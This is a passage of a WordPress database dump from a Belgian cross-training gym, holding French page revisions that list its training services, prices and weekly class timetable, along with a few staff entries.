5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:47:43', '2013-06-16 14:47:43', '', 11, 'http://www.crosstrainingcenter.be/?p=145', 0, 'revision', '', 0),
(146, 1, '2013-06-23 13:16:35', '2013-06-23 13:16:35', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table]\r\nYear,Make,Model,Length\r\n1997,Ford,E350,2.34\r\n2000,Mercury,Cougar,2.38\r\n[/table]\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:16:35', '2013-06-23 13:16:35', '', 11, 'http://www.crosstrainingcenter.be/?p=146', 0, 'revision', '', 0),
(147, 1, '2013-06-23 13:18:02', '2013-06-23 13:18:02', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:18:02', '2013-06-23 13:18:02', '', 11, 'http://www.crosstrainingcenter.be/?p=147', 0, 'revision', '', 0),
(148, 1, '2013-07-03 13:56:11', '2013-07-03 13:56:11', '', 'Julie Pierrard', '', 'publish', 'closed', 'closed', '', '148', '', '', '2013-07-03 14:13:21', '2013-07-03 14:13:21', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=148', 0, 'collaborateur', '', 0),
(150, 1, '2013-07-03 13:59:47', '2013-07-03 13:59:47', '', 'Mathieu Gille', '', 'publish', 'closed', 'closed', '', '150', '', '', '2013-07-03 14:13:07', '2013-07-03 14:13:07', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=150', 0, 'collaborateur', '', 0),
(330, 1, '2013-07-10 16:10:46', '2013-07-10 16:10:46', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; 